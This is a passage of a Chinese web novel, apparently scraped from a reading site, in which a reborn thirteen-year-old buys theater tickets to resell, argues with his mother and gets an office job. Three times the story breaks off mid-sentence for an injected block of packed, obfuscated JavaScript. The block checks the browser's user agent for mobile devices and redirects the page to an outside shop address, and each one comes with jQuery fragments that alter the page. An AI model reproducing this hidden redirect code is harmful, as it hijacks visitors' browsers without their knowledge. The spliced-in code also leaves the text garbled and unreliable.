甚至连约翰和玛丽两个小孩子也不由自主地迈着小短腿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729493|189599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
围了过来,咬着手指,流着口水,满是惊讶地看着自家能变出钱来的神奇大哥。
不过,毕竟只有一百块,阿尔很快就停下了这种傻乎乎的行为。
但在他身前,一堆(零)钱已经摆了一桌子。
对有钱人来说,这绝对是很可笑的一幕。
但对穷人如西尔维家来说,看到一堆零钱的冲击力可能不下于看到一大摞百元大钞。
阿尔表情还是很平静地把钱分成两堆。
他分别指着两小堆钱安排说:“妈妈,这里有一百元……这八十块给我,我要拿去当本金再去赚点儿钱。然后是这二十块,你拿着用,先把咱们的房租和取暖费提前交了,剩下的钱再买点儿吃的和穿的,不用省着,我以后还能赚到更多的钱。”
西尔维夫人惊疑不定地注视着这孩子,目光极度陌生,像是从没见过他一样。
阿尔有心想表现一下儿子对母亲的爱,来安西尔维夫人的心。
可他想来想去,实在装不来小孩子,便只能朝她安抚地笑了笑:“反正有我在,不会让你们挨饿受冻的。妈妈,别怕,以后爸爸不在了,你们还有我。”
西尔维夫人久久地凝视着这个孩子,一动不动。
许久,她才点了点头,沉默地走到餐桌前去拿那二十块钱。
解决了钱的事,阿尔总算松了一口气。
他疲惫地打了几个哈欠,徒步走几十公里,大脑不停地运转,死撑着一口气去借钱,尽管理智和成熟的灵魂可能都不觉得这是多么苦、多么难的事情,但十三岁脆弱的身体却已经发出了不满的抗议,闹着要他尽快去休息了。
“我想睡一会儿,妈妈。”
他睡眼朦胧地嘟嘟囔囔着:“我好困……好困啊。”
然后,他像个笨拙小鸭子一样摇摇晃晃地爬上了床,连鞋和袜子都顾不得脱,更别提什么洗漱了,直接就昏昏沉沉地倒了下去,如果不是小身体还有呼吸起伏,简直像是死了一样。
可西尔维夫人知道,这是极度疲劳后的表现。
以前工作拼命的西尔维先生也经常是这样的状态。
昔日的丈夫和现在的长子……
一大一小两个男人的身影在这一刻仿佛重叠了。
西尔维夫人一阵心酸。
小女儿玛丽一向敏锐,这时候也许是察觉到家中紧张气氛的稍许缓和。
她鼓起勇气,怯怯地喊了一声:“妈妈,我饿了。”
西尔维夫人看了她一眼,却没像之前那样易怒地生气,只是把食指放在唇边,示意她不要大声说话:“乖,等一会儿我去给你拿吃的,别吵到你大哥,让他好好休息一下。”
然后,她小心翼翼地走过去,像当初服侍丈夫西尔维先生那样,轻轻帮儿子把鞋脱掉,又把被子盖好,还拿了热毛巾来帮他擦拭身体来缓解疲劳。
小儿子约翰和小女儿玛丽茫然地看着。
他们搞不明白母亲的情绪为什么会这么反复无常。
西尔维夫人也不会解释什么。
她撑着腰,勉强帮儿子收拾妥当,又忍不住站在床边看了好一会儿。
丈夫死了本是天塌一样的大事。
可做梦都没想到,十三岁的儿子却站出来,用稚嫩的肩膀重新把天给撑了起来。
“以后……我们真的还有以后吗?”
她静静注视着十三岁大儿子比同龄人瘦小得多的身子,还有脸上那种即使睡着后都紧皱的眉头和难以遮掩的憔悴神色,突然捂着嘴,强忍着不去发出声音,大滴大滴的泪珠顺着脸颊滚滚落下。
5. 第5章
第5章售票员:你怕不是个精怪变的!
在没人吵闹、舒舒服服地睡了长长一觉后,阿尔终于醒了。
刚睁眼的时候,他脸上还带着一种迷迷糊糊的神色,有点儿分不清现实和虚幻,等过了好一会儿,他才缓过神来,在心里喃喃对自己说:“原来不是梦,我真回到十三岁的时候了……”
然后,他彻底清醒。
伴随着知觉和感官的回归,贫民区那种“由于地下水道多年无人维修,排水不畅,再加上多人拥挤杂居,各种气味混合交杂”的恶心难闻却无比熟悉的气息又一次扑面而来,可尽管如此,被冷落了很久的肚子却根本不在乎,立刻迫不及待地彰显起自己的存在感,咕咕地叫了起来。
正当他想要起身找吃的时,西尔维夫人带着他的弟弟妹妹们出现了。
那两个不懂事的孩子怯生生地躲在母亲的身后,咬着小手指,探着小脑袋,呆呆地望着这个突然变得有些陌生的大哥。
而西尔维夫人的表情则显得有些别扭和尴尬。
“我刚刚去买了几块长面包……”她语气干巴巴的,似乎有点儿不知道怎么对待这个儿子了。
“太好了。”阿尔假装没看出母亲的不自在。
他摸摸肚子,回忆了自己曾经十三岁的样子,可记忆太模糊了,只好拿出最最温和的态度客客气气地说:“我快饿死了,请给我来一份,谢谢。”
请?谢谢?
我儿子居然装模做样地同我说什么请、谢谢?像个混账有钱老爷一样!
西尔维夫人这一刻又想瞪眼睛骂人了。
可她刚张口,又刹住。
要知道,在这个时代,以旧有的狭隘观念而言,母亲对自己的未成年儿子是有一定管理权。
所以,她往往没必要好声好气说话,更不会特意去讲究怎么维护一个孩子的自尊心,正常相处模式就是生气了打一巴掌,不高兴了骂几句,反正打不坏骂不疼,哪怕孩子委屈得哇哇哭也不怕,难道当儿子的还要记亲妈的仇不成?
可现在,情况却有些复杂了。
从血缘上来讲,阿尔确实是她可以随便打骂的儿子;
可从家庭地位上来说,阿尔已经取代了父亲,正式代替去世的西尔维先生接过养家糊口的大业,那么,他理应享受西尔维先生在世时拥有的权利,也就是一家之主的特殊待遇和家人的尊敬。
这样一来……
西尔维夫人简单粗暴的思维方式似乎就不适宜了。
如果能多给她一点儿时间,潜移默化地改变还好。
可一夜之间,身份上的转变就瞬间成型了,这速度简直比隔壁那个十秒男还快,她对此毫无准备,以至于无所适从。
简单再举个例子来说,阿尔吃东西有个不好的习惯。
他以前既怕被人抢,也怕自己吃得慢一点儿,那些有限供应的食物就没了。所以,往往是上一口还没咽下去,下一口已经着急地塞进了嘴里,最后总搞得两腮鼓鼓囊囊的,十分引人发噱。
可这也就算了,顶多被笑话一下,也没什么。
但为了多吃干粮,他还小心机地不去喝水,生怕自己把自己灌了个水饱,吃不下更多的干粮吃了亏。
于是,不管吃什么,他都能吃吃吃,一直把自己噎得翻白眼。
这个童年的不良习惯后来始终伴随他,后来条件好了,也只是在不饿的时候,稍微能自我克制些许,可一旦饿了就会立刻原形毕露。
比如现在……
阿尔坐在餐桌前犯了老毛病。
他一边特别凶狠地咬面包,一边又开始翻白眼……
西尔维夫人舍不得花钱,自然买的是那种最便宜的硬面包,什么鸡蛋黄油奶油的……肯定是都没有的,又干又硬,口感也不好,吃一口都要嚼半天才能咽下去。
所以,她看着大儿子那个吃法,就特别怕他一个不注意被面包塞住喉咙,活活噎死。
如果是过去的母子关系,一向不走温柔路线的西尔维夫人肯定早早就一巴掌拍过去,刻薄尖刻地奚落他上辈子铁定是个不要脸的小要饭的、饿死鬼,几辈子没见过吃的,以至于现在才生出了这么一副丢人现眼的没出息样子。
然后,她可能还要气势汹汹地冲过去,亲自动手,硬掰开那张小嘴,提着水壶,恶狠狠地给他灌水。
但现在……
西尔维夫人却有点儿不知道该怎么处理了。
她的手抬起又放下,放下又抬起,抬起又放下,放下又抬起……脑袋里两种不同的念头开始不断地打起了架:“这是我儿子,我想怎么管教就怎么管教。”“不行啊,他现在已经当家作主了,我怎么能插手一家之主的事呢?”
这么纠结来纠结去……
等自家儿子都吃完了,她也没能想出个结果。
阿尔全程没注意到母亲复杂的情绪。
哪怕他小小身体中是一个成年人的灵魂,可一来,他脑子里现在想的全都是以后怎么把日子过好,把这个家撑下去;二来,上辈子一直孤身一人的缘故,他虽然学到了很多远超旁人的见识,也学了不少同人说话的技巧,可偏偏不知道怎么和家人相处了。
所以,等他吃饱喝足,又跑去快速地简单收拾了一下,就二话不说地决定抓紧时间出门赚钱了。
在这个过程中,他完全忽略了站在一旁的母亲,还有眼巴巴看着他的弟弟妹妹们。
或者说,哪怕是注意到了。
他可能暂时也想不出怎么和他们交流,毕竟,虽然身体没变,可身体中的灵魂和这些家人却有着足足十多年所带来的距离和陌生感。
不过,他不交流也不会被埋怨。
这年代都是这样,底层赚钱养家的男人往往沉默寡言(全是累的),用粗鲁点儿的话来说:“老子赚钱已经他妈的很辛苦了,哪有闲工夫和你们谈感情。”
总之,家里就这么沉默着,直到出门的那一刻。
他才想起回头交代一声:“多买点儿吃的用的,别太节省,我还会赚到更多钱的,妈妈。”
西尔维夫人不吭声地点了点头。
她用手撑着已经开始显怀的肚子,安静地站在门口,目送着这孩子走出门,在门前那段没人修没人管的泥地里,摇摇晃晃、深一脚浅一脚,无比坚定、目标明确地越走越远,越走越远。
——————
这时代还没什么网络,但娱乐业依旧很兴旺。
人类大概是最讲究精神享受的动物了,哪怕下顿饭都还找不到地方吃呢,可若是旁边有人唱歌、讲故事搞得特别精彩,也会愿意驻足看一看听一听。
阿尔对此乐见其成。
因为上辈子他就机缘巧合地一头扎进了娱乐行业,之后是那种从底层小工一步一步往上爬。
也因此,这个行业大大小小、上上下下、各种门道,他都知道得一清二楚。
尽管他始终自卑地认为自己天赋平平,可如果一个人能在一行业心无旁骛、专心致志地浸淫十多个年头,那么,不管是谁,其实都能被称上一声专家!
当然了。
阿尔这个专家的起\点太低,基础太差,最后哪怕稍稍熬出头,也不算是什么登峰造极的顶尖大人物,仅仅是相对他所处阶层而言,算是有出息的类型。简单举例来说,在重回十三岁前,曾经是个半文盲的他,甚至已经完成了自己的第一本剧作,用了十多个月的时间排练,马上就要被搬上大舞台了……
对很多人来说,这根本不算什么成就,有钱的话,分分钟就排场戏上舞台。
可对一个早年辍学,身无长物,一路全靠自己打拼的人来说,绝对是了不起的成果。
只可惜,世事难料。
他还是没能等到那一幕。
如今,重回十三岁未尝不是塞翁失马,一切从头开始!
而且,比起当年懵懵懂懂,仿佛哈士奇混进狼群时刻战战兢兢、小心翼翼,已经有了上辈子经历的阿尔,心中自然是有一定底气和自信的。
也正是仗着这点儿底气和自信,他果断行动起来,跑到一家剧院的售票处,敲着小窗户:“我要买票。”
这会儿时间还早,没到每日售票的高峰期,正闲着没事低头看报纸的售票员听到声音,便抬起头往外看,结果第一眼没看到人,不禁愣了一下。
“你看哪呢,我在这儿。”
发育不良的阿尔滑稽地踮着脚,用力挥手。
售票员顿时被逗笑了:“小孩儿,你打哪来?你家大人呢?”
阿尔就板着脸,一本正经地告诉他:“你别管我打哪来的,先卖票。”
售票员又笑了,可也没嫌他衣着破烂,不像有钱看戏的样子,只好脾气地问:“好啊,你买什么票?哪个场次的?买几张?要什么座位。”
阿尔心中早规划好了,这时候也不犹豫。
他直接口齿清楚地报了起来:“我要《漂亮先生》那部剧一个月后的预售票,具体哪个场次都可以,要十张最最靠前的票,二十张视野最好的中层票,三十张顶层票。”
售票员吓了一跳。
他不禁夸张地惊呼出声:“上帝!你要这么多票干什么?拿去当饭吃吗?”
阿尔无语了一秒,接着也诚实地告诉他,是准备到时候转手卖掉。
懂了!
票贩子啊!
售票员还是有些愣。
不是没见过票贩子,是实在没见过这么年幼的票贩子。
阿尔见他只知道在那发呆,有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729494|189599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些不耐烦起来,踮着脚敲小窗户:“你到底卖不卖?”
售票员这才回过神:“卖是卖,但你有钱吗?”
阿尔便掏出了从福尔曼先生那借来的钱来展示。
售票员十分吃惊,心中非常好奇谁家会给一个孩子这么多钱,但想想,这也不关他的事,所以,只好心情复杂地准备去给他拿票,顺便费劲儿地计算着票钱。
这时候的物价不高,只要不是特别好的座位,戏票也没那么贵。
售票员很快就算出了结果:“前排的座位比较贵要xx元,中层的是xx元,顶层便宜,只要xx元,一共九十三元。你买得多,我给你便宜点儿,给九十块就行了。”
“你糊弄鬼呢!”阿尔一点儿都不领情。
他张嘴给砍了一大半下去:“我拿这么多票,你得给我打折,五十块!”
“见鬼!五十块,你做白日梦!”
售票员立刻装出一副凶恶的样子:“不想买就滚蛋,别在这儿捣乱。”
但阿尔却根本没被唬住。
上辈子他在剧院里混了好几年,什么售票员一类的活儿也是做过的。他知道,这些售票员在放票给票贩子的时候,在折扣上是有一定决策权的,有时候最低能把折扣打到三、四折,尤其是一些不怎么叫座,票也卖不出去,只求回本的剧,那个票价的水分就更大了。
所以,他咬定价格:“五十块,我只给你五十块。”
售票员显然也是讲价老手,冷笑一声,作势要把小窗户拉上。
阿尔伸手拦了一下。
然后,他恨恨地说:“我爸死了,我妈怀着孩子没办法工作,我还有弟弟妹妹要养,钱是找高利贷借的,就是要赌这最后一把,不成功便去死。”
这番话他其实车轱辘一样说第三次了。
但这次又不一样的语气了,和面包店店员是装可怜,和福尔曼先生是装懂事,这回是装小赌徒了。
售票员果然被这孩子表现出的赌性给震住。
他有些不信,又装出大人吓唬孩子的样子:“小家伙,你扯谎是不是?哪个傻子肯借你这么多钱?我告诉你,撒谎要下地狱,把舌头都生生拔掉的。”
阿尔一双绿眼睛幽幽地瞪他。
售票员莫名有了一种欺负小孩子的感觉,很是心虚:“行吧,行吧,我卖给你。但五十五块,真的不能更低了。”
只是多了五块。
阿尔盘算了一下,决定不和他计较,就点了点头。
售票员低头一边拿票,一边收钱,心中还为这孩子的表现而暗自咋舌。
不过,可能是看阿尔衣衫褴褛又瘦弱的样子实在可怜,他没忍住地多了一句嘴,很委婉地提醒着说:“小孩,我不知道你说得是真是假,但要是真的……那个,呃,这个剧吧……你买《漂亮先生》的票,还不如买《卖花女孩》。”
阿尔摇了摇头。
他装出一副固执的样子:“《卖花女孩》的票太贵,我买不起。再说,这事本就是赌一把,要么绝处逢生,要么同归于尽!”
这,这,这特么到底什么孩子啊!
售票员这会儿真是瞠目结舌了,直到他把票递过去的时候,都还有一种特别不真实的感觉。
相反。
阿尔在成功低价拿到票后,就高兴起来,仿佛脖子上勒着的绳索又松了松。
因为这会儿可没人知道,不被看好的《漂亮先生》将会创造出怎样的一出观剧奇迹。
它刚出现的时候,几乎没人看好。
新剧、新题材、采用了不知名演员、据说彩排的时候就很糟糕,后来在外地的一家剧院上演的时候,还被观众砸了鞋子,实在是制作人太想收回点儿成本,不想赔个底朝天,才勉勉强强地继续演下去。
但万万没想到的是,这部剧后来竟逆风翻盘、起死回生了。
当时可没有网络购票,观众们只能现场排队买票,于是,剧院大厅排起了整整两条拥挤的长龙,后来,队伍甚至延展到了外面马路上,中间下了大雨也不走,有人干脆淋着雨等,也有打着雨伞,继续坚持排队……
那个场景壮观得难以想象。
剧迷们的热情堪比火焰,连倾盆大雨都浇不灭。
这一幕给当时在剧院打短工,负责清洁工作的阿尔留下了极为深刻的印象。
他为之目眩神迷,有生以来第一次意识到舞台艺术所能创造出的辉煌魅力。
不过,在重回十三岁后,怎么体验舞台魅力暂时轮不到他了。
对现在的他来说,赚钱才是首要任务,而赚钱的生意,说到本质,无非是低买高卖。
所以,在明知道那部剧的票能卖出高价的时候……
黄牛真是个好职业啊!
6. 第6章
第6章西尔维夫人:别骗我,我精着呢!
黄牛虽然是一个好职业。
但阿尔也没指望一次暴富。
“咱们是本本分分的老实人家,但凡做什么事,都还是稳当一点儿才好。”
这是他父亲西尔维先生还在世时,嘴边常念叨的一句话。
这种保守老成的小市民思想早就被牢牢地灌输到了阿尔的小脑袋里,扎根深处,不可动摇。
所以,哪怕重回十三岁,他依然没有好高骛远地虚飘飘起来,还是想凡事谨慎、狡兔三窟、一步一个脚印,稳扎稳打才行。
也因此,哪怕他手握有九成把握能赚到大钱的戏票(其中一成是怕重生带来变故),心中却依然没有半分懈怠,反而早早有了成算:“卖戏票这事现在算是暂告一个段落,只等演出前卖出去了,但鸡蛋不能全放在一个篮子里,除了做黄牛,我还得再给自己谋一份正经活儿,为将来的事业打基础。”
当然,说是找活儿干,却也不能太随便。
有了上辈子的阅历,阿尔现在自然不想再去做一些什么送报纸、捡垃圾、刷盘子、扫厕所的事了,倒不是瞧不起这些体力劳动,只是对现在的他来说,做这些事所耗费的精力、时间和所收获的金钱实在不成正比。
考虑到上辈子一直从事娱乐行业。
假如这辈子不打算转行的话,做生肯定不如做熟,趁早混进圈子里,慢慢谋求发展才是正道。
想到这儿,他便把兜里预留的钱拿出来数了数,准备找个人套近乎。
这也是他之前买票时,哪怕明知道这会儿不管什么价格买到票最后都有的赚,却还非要费劲儿讲价,把钱省下一部分的缘故。
————————
爱丽丝怀特小姐是一家公司的前台接待员兼私人秘书。
这家公司对外打的招牌是“提供各类演艺演出合作服务”,听起来其实挺含糊,但实际上,他们所负责的工作有点儿类似制片商。
比如,之前剧院售票员曾提及的那部,一直热卖的老牌轻歌剧《卖花女孩》就是这家公司制作出来的。这部剧截止到目前为止,已经连续演了两三年,是这家公司最赚钱的主打剧。
不过,一个公司肯定不能只靠一部剧活着。
所以,除了这部剧以外,公司也会制作一些不会大赚,但绝对有一定市场、不会赔的经典剧目,什么《哈姆雷特》,《特洛伊》一类。
每到演出季,这家公司的老板米尔森先生便会开始忙碌地联系各大剧院,研究全国火车线路图(这时候人们的出行,火车还是主力),商定演出时间、场次、场地、座位数和票价。
然后,他会根据每家剧院给的价格高低,开始调兵遣将,给出价格高的剧院,自然优先得到主打剧《卖花女孩》的演出权,给价格低一点儿的剧院,也能得到稍晚的演出权,或者,搞几部《哈姆雷特》、《特洛伊》这样的剧看看,接着,就是派手底下的明星们各自率领一个演出团出发,去雄赳赳气昂昂地横扫全国各大城市剧院了。
听起来是简单的工作,但实际上做起来非常繁琐。
首先,要不停地同各种各样的人去打交道,协调演出团中演员之间的竞争关系,协调各地剧院的关系,要讨价还价;其次,有宣传方面的问题,海报广告就不说了,还得请业内知名人士来写剧评;最后,还要提前制订出相关的预算资金表,所有一切都要求必须面面俱到,一个考虑得不到位,出现多花的钱数,那么,等演出季结束的时候,大家可能要面临赔本的风险。
为了处理这些事务,老板米尔森先生在一家小剧院的二楼租了间不大的小屋子,作为办公场所。
但实际上,常年驻扎在办公室,正常上下班的人,除了老板就只有爱丽丝一个人。
只有两个人,到了演出季的忙碌就可想而知了。
爱丽丝每年都忙得团团转,坐在办公室中,不停地接打电话,同时,还要一心多用地帮老板米尔森先生写一堆要寄出去的信和邀请函,以及演出合同,寄之前未免出错,可能还需要她耐心地检查一遍……
整整一天,从早忙到晚,连喝口水的功夫都没有。
于是,她终于忍不住对老板说:“米尔森先生,我能和您谈谈吗?”
米尔森先生就抬起了头。
他长得不算丑,五官端正,站起来的个子也挺高,只是年纪不大的时候就秃了顶,还戴了一副镜片很厚的眼镜,整体看起来就有些显老,但他对此并不介意,很是乐观,认为自己这个形象会给人成熟稳重的印象,出门反而能更好地同人谈生意。
这位老板其实为人不算刻薄,也不像一般有钱老板那样喜欢欺压员工,没事找事。
但在他身上依然不免有一些资本家老板剥削员工的通性,所以,一看到爱丽丝的表情就隐隐猜到了她的目的,却还佯装不知地开口:“当然可以。”
爱丽丝便满怀期盼地说:“办公室只有我一个人,实在忙不过来,再招个人帮忙吧。”
米尔森先生就敷衍地答应:“好啊,好啊,等忙过演出季就招。”
爱丽丝顿时绝望。
因为等忙过演出季,公司立刻会重新变回闲散衙门,一天到晚除了喝茶嗑瓜子P事没有,米尔森先生肯定又会说:“现在这么闲还招什么人?招了白花钱养着吗?等忙的时候再招吧。”
于是,一年拖一年。
办公室还是只有老板和爱丽丝两人。
阿尔想要套近乎的人就是爱丽丝。
上辈子在附近捡垃圾、扫大街的时候,他曾帮对方跑过腿,买东西、去邮局寄包裹、给一些人传口信等等,偶尔能赚个几毛几块的零钱,所以,他知道爱丽丝的为人,也知道她在工作上的苦恼,但那会儿实在太蠢,根本不知道争取什么机会,一天到晚只知道卖傻力气。
现在嘛。
他拎着买好的小蛋糕跑去兴冲冲地自荐了:“怀特小姐,听说您想招人帮忙,你看我怎么样?”
爱丽丝对这个“听说”不怎么惊讶,因为这事已经和米尔森先生提过好多次,每年都提,剧院这边很多人都知道,只是没用。
但凡老板才不会考虑员工的辛苦,反而总会有一种“既然你一个人就能把事情做完,我为什么要多花钱再找一个?那不是资源浪费吗”的恶劣想法。
当然了,哪怕老板是这样想。
爱丽丝内心深处依然还是想找个人帮忙的。
可眼前这个自荐的……
她哪怕累得厉害,也忍不住想笑:“我们不招童工。”
“弟弟给姐姐帮忙,姐姐看着给些零花钱,怎么能叫童工呢?”
阿尔对这些门道清清楚楚,随口说出一个解决方法,还上杆子又套了近乎。
爱丽丝不由得一怔。
她吃惊地看着眼前这个早熟且机灵的男孩,竟隐隐觉得这是个好主意。
其实说到底,那些工作有什么技术含量呢?
只不过是事情太多,千头万绪,才忙不过来的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729495|189599||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可若是招这么一个人,虽大事帮不上什么忙,但一些打下手的繁琐杂事就可以一股脑地全扔给他去做了,即使不会,即使做得慢点儿,可只要能帮自己分担就成;而且,这么一个小孩子,给的钱想来也不用太多,老板那边也好交待。
再者,招新人还有一个隐藏的问题。
若是招的人老实还好,若人不安分,将来做熟了,难免和自己产生竞争关系,甚至威胁到自己的地位,可若是一开始就招这么一个孩子,那根本就不用担心什么了。
这么一想,这事还真行。
只是这孩子的底细还得问一问。
于是,她就好声好气地询问起来:“你多大了?怎么好端端跑来找活儿干?不去上学吗?”
阿尔小大人一样地叹了口气,只得又把爸爸死了,母亲怀着孩子,弟弟妹妹要养等事说了一遍。
女人本来就比男人容易心软。
爱丽丝看着他那副营养不良的瘦弱样子,立刻就有了同情和怜悯的心思。
她没收这孩子送的小蛋糕,让他带回家自己吃,还耐心告诉他:“你说这事我得去问问,成不成的不一定。你明天过来一趟,到时候我告诉你结果。”
阿尔便装出绝处逢生的开心样子,十分感恩戴德地连连道谢,还不停地说爱丽丝姐姐人美心善,硬把小蛋糕塞给她,然后,拖着有些大的破烂鞋子欢快地哒哒哒跑远了。
小男孩这样的可爱表现让爱丽丝的心软成了一团棉花。
想到这孩子的家境,她就在心里悄悄盘算:“若是老板不愿意,大不了我花个几块,雇他做点儿小事。”
至此,重生回来的阿尔,赚钱的门路有了,工作的门路也有了。
真是顺心如意,完美无缺。
只是……
西尔维夫人又快疯了。
儿子拿了八十块巨款信心满满地出门,说是要赚钱。
可回来时,身上居然只剩一堆不值钱的纸片子(戏票)。
啊啊啊!
天杀的败家子!
天杀的纸片子!
天杀的这个家!
全都是天杀的!
天杀的没有一件事是顺心如意的!
西尔维夫人心里已经非常之气愤了,恨不得立刻拧着这死孩子的耳朵好好教训一番,可碍于对方现在“一家之主”的身份,才竭力将自己控制住了,只是语气难免生硬:“你,你就是这么赚钱的吗?靠那堆纸片子?”
“对,靠这堆纸片子。”阿尔没听出母亲的不满。
他此时不用对人说好话、装可怜了,将眉毛斜斜一挑,挑得十分得意洋洋,满脸笑意,像是攒了一山洞榛子准备过冬的大松鼠,晃晃尾巴,喜气洋洋:“花了五十五块,真是值了!”
天老爷啊!
五十五块呢。
你为什么不干脆杀了我?
天杀的败家子!
整天一毛一分都要斤斤计较的西尔维夫人快窒息了。
她实在受不了这个刺激,就抚着心脏,一脸心疼地问:“能退回去吗?我们把这玩意儿退回去,再把钱拿回来。”
阿尔莫名其妙极了:“退回去?为什么?我还指着它们赚大钱呢。”
西尔维夫人根本不信。
她一下子就跳了起来,脸上浮现出家庭妇女逛菜市场时的那种小精明,咬牙切齿地嚷道:“指望它们?你想什么大美事呢?赚大钱?我看你不如指望天上掉黄金。你个大傻子!大傻子,一定是被人骗了!”
7. 第7章
第7章爱丽丝小姐:这钱花得太值了!
如果能纵览一个人的全部生命历程。
我们会发现,没有什么行为是孤立存在的,它的成型往往来源于童年和成长过程所遭受到的教育和周边环境的影响。
西尔维夫人出生在西西里岛一个贫困的小渔村里,从小家庭环境就异常保守,因为穷,没受过什么教育,在家听父母的话,等到十五六岁嫁了人,就嫁夫随夫地过日子。
这样的生活环境,一方面使得她头脑简单,短视愚昧、不求上进,还习惯性将自己的身家性命全寄托于别人身上;另一方面又让她在一天天重复、乏味、无聊的家长里短和锱铢必较过日子中,精明地总结出了属于自己的那一套傻瓜式过日子模式,并且拒绝接受任何改变。
这里可以简单举一个非常明显,但充分能说明她部分性格的例子:
在跟着丈夫移民到这个国家,生活了十多年后,她依然连英语都说得不是很利落,一着急还是满嘴的西西里方言。
由此可知,这是一个从骨子里就拒绝接受任何新鲜事物的人。
她必然是没办法理解儿子口中所谓“低买高卖”的生意经的。
因此,不管大儿子怎么耐心解释。
她始终顽固地认为,这不可能,你一定被骗了。
再或者就是,你这是在走偏门,不是正经好人家该做的事。
阿尔干脆不解释了。
他一边漫不经心地从兜里掏出一包几分钱那种便宜的甘草糖,拿去给弟弟妹妹们解解馋,一边语气渐渐强硬地提醒:“妈妈,你该去做饭了。约翰、玛丽,还有我都饿了。”
西尔维夫人愣了一下,还想说点儿什么。
阿尔便抬起头,逼视着她的眼睛,一字一顿地告诉她:“我以后会像爸爸一样,每周都带钱回来家用。至于其它的事情,不用理,都让我来做。从此,您既不用担心钱,也不用费心去管旁的什么闲事,只要照顾好自己和这个家就行了。”
西尔维夫人懵了,不敢置信地望着儿子。
但阿尔没什么表情,平静且毫不退缩地直视着她。
西尔维夫人就慢慢退却了。
儿子这一刻展现出的成年男人姿态,让她突然有一种面对父亲和丈夫的无措感。
而在面对父亲和丈夫的时候……
她一向又是最没什么发言权的。
于是,她选择顺服地听从了儿子的指示,默默走进厨房开始做饭。
这事至此被神奇地按下了暂停键。
在阿尔顺利卖光戏票,把钱赚回来之前,应该是没下文了。
只是,他和母亲简短争执的一幕,却被弟弟约翰和妹妹玛丽看在了眼里。
两个孩子对视了一眼,彼此都流露出了很惊奇的神色,他们现在可能还什么都不懂,但已经从这种对峙中,隐隐意识到这个家庭的主导控制权正在发生着一种微妙的转变。
阿尔对此并不是有意。
他无意争夺这个家庭的主导控制权,也不想装什么权威,更愿意去体谅母亲的无知,理解她内心的种种苦楚。
但作为一名灵魂已经成年状态的男人。
他实在不想像个小孩子一样天天被妈妈管东管西地干涉自由,但凡做了什么不值一提,可在她眼中算是出格的事,就要费劲儿地解释来解释去,这实在太难受了。
如果能解释得通也还好。
可偏偏一些事是没办法解释的。
“承担起一个家可真不容易啊。”
阿尔不禁在心里静静地琢磨:“不仅要拿钱养活大家,还要学会不受干扰、独断专行,并且,不能流露出一点儿动摇人心的软弱,时刻装出镇定自若、大局在握的样子才行。”
这样一想,便觉得不仅身体累,心理上也更累了。
但看看弟弟妹妹吃糖时露出的傻乎乎笑容,他又觉得没什么了。
第二天,阿尔起了一个大早,把自己收拾得干干净净。
他今天的计划是去找爱丽丝小姐报道,将那份计划好的工作彻底拿到手。然后,再在剧院附近转悠一下,多搜集一些信息和情报,一来,为之后的黄牛事业打个基础;二来,研究看看还有没有什么别的机遇。
西尔维夫人这次没拖后腿。
她知道儿子出门,是要找一个什么固定工作,这就属于她能理解的事了。
于是,她不顾自己还怀着孩子的不适和难受,也早早起来,不嫌麻烦地做了一顿丰盛的早饭,还不闲着地用抹布帮儿子把那双破鞋尽可能地擦干净,又拿出针线来把他的衣服也缝缝补补……
等出门前,阿尔便伸出双臂轻轻地搂了她一下,又一次安慰说:“放心,妈妈。”
可西尔维夫人就又忍不住唠叨起来:“你好好的,多做本本分分的正事,歪门邪道的路子千万不能碰……”
什么气氛都没了!
阿尔实在哭笑不得。
好在这次也确实算本分的正事。
米尔森先生虽然有着资本家的劣根性,但并不是特别吝啬的人,假如付出少少的钱就能解决生活中的一些麻烦,那何乐而不为呢?
于是,爱丽丝小姐成功说服了米尔森先生,雇佣了这么一位年幼的员工。
当然,对外是不能提雇佣的,只说这是爱丽丝小姐亲戚家的孩子,一时忙不过来,叫过来跑腿帮忙的。
“一周十块钱。”爱丽丝小姐说。
然后,她又补充了一句:“做得好有奖金。”
阿尔高高兴兴地答应了。
并且,在被录用的当天,他就跟着一起忙碌起来。
起初,爱丽丝担心这孩子什么都不会,还得慢慢教导。
但很快,她就一点儿也不担心了。
阿尔总能把所有交到自己手里的事情做得又快又好
